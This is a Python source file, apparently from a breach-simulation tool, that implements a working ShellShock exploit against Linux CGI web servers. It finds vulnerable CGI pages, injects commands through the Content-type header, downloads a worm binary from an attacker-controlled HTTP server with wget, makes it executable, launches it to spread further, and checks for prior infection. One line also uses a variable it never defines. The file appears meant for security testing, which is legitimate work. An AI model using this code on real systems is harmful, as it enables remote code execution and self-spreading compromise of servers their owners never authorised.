monkey/chaos_monkey/exploit/shellshock.py

207 lines
8.7 KiB
Python

# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging
import string
from random import choice
import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
class ShellShockExploiter(HostExploiter):
_attacks = {
"Content-type": "() { :;}; echo; "
}
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self._target_os_type = ['linux']
self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join(
choice(string.ascii_uppercase + string.digits
) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
# start by picking ports
candidate_services = {service: self.host.services[service] for service in self.host.services if
self.host.services[service]['name'] == 'http'}
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
'tcp-' + str(port) in candidate_services]
http_ports = [port[0] for port in valid_ports if not port[1]]
https_ports = [port[0] for port in valid_ports if port[1]]
LOG.info(
'Scanning %s, ports [%s] for vulnerable CGI pages' % (
self.host, ",".join([str(port[0]) for port in valid_ports]))
)
attackable_urls = []
# now for each port we want to check the entire URL list
for port in http_ports:
urls = self.check_urls(self.host.ip_addr, port)
attackable_urls.extend(urls)
for port in https_ports:
urls = self.check_urls(self.host.ip_addr, port, is_https=True)
attackable_urls.extend(urls)
# now for each URl we want to try and see if it's attackable
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
self._exploit_info['vulnerable_urls'] = exploitable_urls
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec
# for any failure, quit and don't try other URLs
if not self.host.os.get('type'):
try:
uname_os_attack = exploit + '/bin/uname -o'
uname_os = self.attack_page(url, header, uname_os_attack)
if 'linux' in uname_os:
self.host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False
if not self.host.os.get('machine'):
try:
uname_machine_attack = exploit + '/bin/uname -m'
uname_machine = self.attack_page(url, header, uname_machine_attack)
if '' != uname_machine:
self.host.os['machine'] = uname_machine.lower().strip()
except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
return False
# copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected
src_path = src_path or get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
return False
download_command = '/usr/bin/wget %s -O %s;' % (
http_path, dropper_target_path_linux)
download = exploit + download_command
self.attack_page(url, header,
download) # we ignore failures here since it might take more than TIMEOUT time
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
# turn the monkey into an executable
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
return True
@classmethod
def check_remote_file_exists(cls, url, header, exploit, file_path):
"""
Checks if a remote file exists and returns the content if so
file_path should be fully qualified
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
run_path = exploit + cmdline
resp = cls.attack_page(url, header, run_path)
if resp:
LOG.info("File %s exists on remote host" % file_path)
return resp
def attempt_exploit(self, url, attacks=_attacks):
# Flag used to identify whether the exploit has successfully caused the
# server to return a useful response
LOG.debug("Attack Flag is: %s" % self.success_flag)
LOG.debug("Trying exploit for %s" % url)
for header, exploit in attacks.iteritems():
attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
result = self.attack_page(url, header, attack)
if self.success_flag in result:
LOG.info("URL %s looks vulnerable" % url)
return True, url, header, exploit
else:
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False,
@staticmethod
def attack_page(url, header, attack):
result = ""
try:
LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack)
r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
result = r.content
return result
except requests.exceptions.RequestException as exc:
LOG.debug("Failed to run, exception %s" % exc)
return result
@staticmethod
def check_urls(host, port, is_https=False, url_list=CGI_FILES):
"""
Checks if which urls exist
:return: Sequence of URLs to try and attack
"""
import requests
attack_path = 'http://'
if is_https:
attack_path = 'https://'
attack_path = attack_path + str(host) + ":" + str(port)
attack_urls = [attack_path + url for url in url_list]
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps]
return urls